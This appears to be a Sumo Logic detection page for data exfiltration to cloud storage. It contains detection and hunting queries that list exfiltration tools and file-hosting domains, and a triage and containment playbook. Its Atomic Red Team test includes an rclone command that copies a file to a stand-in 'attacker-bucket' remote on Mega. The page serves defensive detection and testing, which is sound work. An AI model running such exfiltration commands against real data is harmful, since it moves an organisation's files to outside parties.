THREAT-CloudStorage-DataExfil Sumo Logic CSE · Sumo

Detect Data Exfiltration via Cloud Storage Services in Sumo Logic CSE

Exfiltration of corporate data to attacker-controlled cloud storage is a dominant technique in double-extortion ransomware campaigns and espionage operations. Adversaries use legitimate cloud storage services (Mega, Dropbox, OneDrive, Box, Google Drive, rclone, AzCopy, ShareFile) to blend exfiltration traffic with normal business activity, bypassing egress monitoring that blocks unknown C2 IPs. Scattered Spider used Mega for SMB data exfiltration before ransomware deployment in 2024-2025. Akira and Black Basta affiliates use rclone with SFTP/cloud backends. Lazarus Group favors Dropbox and Google Drive. Key indicators: rclone.exe or azcopy.exe execution with external cloud endpoints, large outbound data transfers to cloud storage IPs, WinSCP or FileZilla used for bulk data staging, and PowerShell Invoke-WebRequest with cloud storage URLs. Detection opportunity exists in the staging phase (file collection before transfer) and the transfer phase (network and process telemetry).

MITRE ATT&CK

Tactic
Exfiltration

Sumo Detection Query

Sumo Logic CSE (Sumo)
sql
(_sourceCategory="windows/sysmon" OR _sourceCategory="endpoint/windows/sysmon") EventCode=1
| where (Image matches "*rclone.exe")
    OR (Image matches "*azcopy.exe" AND (
        CommandLine matches "*blob.core.windows.net*"
        OR CommandLine matches "*file.core.windows.net*"
        OR CommandLine matches "*queue.core.windows.net*"
    ))
    OR (
        (Image matches "*powershell.exe" OR Image matches "*pwsh.exe"
            OR Image matches "*curl.exe" OR Image matches "*wscript.exe")
        AND (
            CommandLine matches "*mega.nz*"
            OR CommandLine matches "*mega.io*"
            OR CommandLine matches "*dropbox.com*"
            OR CommandLine matches "*dropboxapi.com*"
            OR CommandLine matches "*transfer.sh*"
            OR CommandLine matches "*gofile.io*"
            OR CommandLine matches "*box.com*"
            OR CommandLine matches "*box.net*"
            OR CommandLine matches "*drive.google.com*"
            OR CommandLine matches "*onedrive.live.com*"
            OR CommandLine matches "*sharefile.com*"
            OR CommandLine matches "*sendspace.com*"
            OR CommandLine matches "*filebin.net*"
            OR CommandLine matches "*anonfiles.com*"
        )
    )
| eval ThreatType = if(Image matches "*rclone*", "Exfil_Rclone",
    if(Image matches "*azcopy*", "Exfil_AzCopy", "Exfil_CloudStorage"))
| eval RiskScore = if(ThreatType == "Exfil_Rclone", 85,
    if(ThreatType == "Exfil_AzCopy", 80, 70))
| stats count AS Events, values(CommandLine) AS CommandLines, max(RiskScore) AS MaxRisk
    BY ComputerName, User, Image, ThreatType
| sort BY MaxRisk desc
high severity high confidence

Sumo Logic search query detecting cloud storage data exfiltration via Windows Sysmon process creation events (Event ID 1). Detects rclone.exe execution (Scattered Spider, Akira TTP), AzCopy with external Azure Blob/File storage endpoints, and PowerShell or curl invocations referencing cloud storage and anonymous upload services. Aggregates by host and user to surface repeated or campaign-level activity within the search window.

Data Sources

Sumo Logic Cloud SIEMWindows Sysmon (via Sumo Logic Installed Collector)Sumo Logic Endpoint Source

Required Tables

_sourceCategory=windows/sysmon

False Positives & Tuning

  • Approved IT backup or archival jobs: rclone scheduled tasks run under a service account for authorized cloud-to-cloud archival — suppress by adding the backup service account username to a Sumo Logic lookup table and filtering it from results with a join or where clause
  • Development and test environments: AzCopy used interactively by developers targeting Azure dev/staging storage accounts — maintain a Sumo Logic lookup of non-production storage account subdomains and exclude matching CommandLine values to avoid alert fatigue
  • Sanctioned cloud productivity tools: corporate Dropbox Business or Box Enterprise background sync processes generating recurring process creation events — baseline per-user event frequency with a timeslice comparison and alert only on deviations of 3x or more above the 30-day average

Other platforms for THREAT-CloudStorage-DataExfil


Testing Methodology

Validate this detection against 1 adversary technique from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1 Simulate Cloud Exfiltration via rclone to Mega

    Expected signal: Sysmon Event ID 1: rclone.exe with copy command targeting mega remote. Sysmon Event ID 3: network connection to mega.co.nz or api.mega.co.nz.


Response Playbook

Triage

  1. If rclone is detected: rclone.exe has no legitimate end-user purpose on standard workstations. Any execution outside of an IT-documented backup process should be treated as active exfiltration.
  2. Review the rclone command line for the target remote (e.g., rclone copy C:\share remote:bucket) — this tells you what data was targeted and where it went.
  3. For AzCopy with external storage accounts: determine if the target storage account name is a corporate account or attacker-controlled. Check Azure Activity logs for recent storage account creation.
  4. Estimate data volume: check network flow logs for total bytes sent to the external destination during the alert window.
  5. Identify how rclone arrived on the system: file creation event for rclone.exe, browser download history, SMB copy from another internal host.

Containment

  1. Isolate the affected host via EDR immediately if active exfiltration is detected.
  2. Block the exfiltration destination at the firewall: rclone targets (mega.nz, etc.) or the specific Azure storage blob URL.
  3. Attempt to delete the uploaded data: if Mega or similar service was used, contact them with a law enforcement or data subject request. For attacker-controlled Azure blob storage, the data cannot be retrieved.
  4. Identify the scope of exfiltrated data: which files/directories were included in the rclone copy command? This determines GDPR/data breach notification obligations.
  5. Notify data protection officer/legal team if sensitive personal data (GDPR Article 33) or customer data was exfiltrated — breach notification obligations may apply.

Evidence Collection

  1. rclone.exe command line: target directories, remote configuration, transfer parameters
  2. Network flow logs: bytes transferred, destination IP, duration
  3. rclone config file (typically %APPDATA%\rclone\rclone.conf): contains remote credentials
  4. Sysmon Event ID 3: network connections from rclone to exfiltration endpoint
  5. File access logs: which files were accessed/read before the exfiltration

Escalation Criteria

  • !Data exfiltration confirmed (rclone executed and network transfer observed) — double-extortion ransomware scenario
  • !Sensitive data directories included in rclone copy (HR, Finance, Legal, Engineering source code)
  • !GDPR-relevant personal data (customer records, employee data) confirmed in exfiltrated scope
  • !Evidence of exfiltration followed by ransomware staging indicators on same host or other hosts

Investigation Guide

Related Techniques

Forensic Artifacts

  • >rclone.conf: attacker remote configuration with credentials and target bucket
  • >rclone.exe binary: hash for attribution, metadata for provenance
  • >Windows Prefetch: RCLONE.EXE-*.pf with execution timestamps
  • >rclone log file (if --log-file parameter was used): full transfer log
  • >Network PCAP (if available): actual file data transferred to confirm scope

Tuning Guidance

rclone.exe execution on workstations is almost never legitimate — create an alert with no threshold (any occurrence triggers). For AzCopy, build an allowlist of corporate Azure storage account names and alert on any AzCopy operations targeting accounts not in the list. For network-based detection, proxy logs are often more reliable than DNS/flow data for cloud storage domain matching. If your organisation legitimately uses Dropbox or Box for business, exclude those domains but create alerts for the specific large-transfer scenarios (>100MB/hour). Block or alert on mega.nz, gofile.io, transfer.sh, and anonfiles.com at the web proxy as these have no legitimate business use in most SMBs.


Hunting Queries

Hunt for any connections to known file hosting and exfiltration sites over the past 30 days — establish a baseline of what, if any, cloud storage connections are expected in your environment.

Hunting — KQL
kql
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteUrl has_any ("mega.nz", "mega.io", "dropbox.com", "gofile.io", "transfer.sh", "sendspace.com")
| summarize
    Hits=count(),
    TotalBytesSent=sum(SentBytes),
    Processes=make_set(InitiatingProcessFileName),
    Days=dcount(bin(Timestamp, 1d))
  by DeviceName, AccountName, RemoteUrl
| sort by TotalBytesSent desc
Hunting — SPL
spl
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3
  (DestinationHostname="*mega.nz*" OR DestinationHostname="*dropbox.com*" OR
   DestinationHostname="*gofile.io*" OR DestinationHostname="*transfer.sh*")
| stats count AS Conns, sum(DestinationIp) AS IPs BY host, User, Image, DestinationHostname
| sort - Conns

Atomic Red Team Tests

Test 1 Simulate Cloud Exfiltration via rclone to Mega
windows

Uses rclone to copy test files to a Mega cloud storage account, simulating the exfiltration technique used by Akira and Black Basta ransomware operators. Test files should be non-sensitive dummy data.

Command

powershell
echo 'Test exfiltration data' > C:\Temp\exfil_test.txt && rclone.exe copy C:\Temp\exfil_test.txt mega:attacker-bucket --config C:\Temp\rclone_test.conf

Cleanup

powershell
Remove-Item C:\Temp\exfil_test.txt, C:\Temp\rclone_test.conf -Force -ErrorAction SilentlyContinue

Expected Telemetry

Sysmon Event ID 1: rclone.exe with copy command targeting mega remote. Sysmon Event ID 3: network connection to mega.co.nz or api.mega.co.nz.

Expected Detection

Alert fires on rclone.exe execution (RiskScore=85) and network connection to mega.nz. Both indicators trigger simultaneously.

Related Detections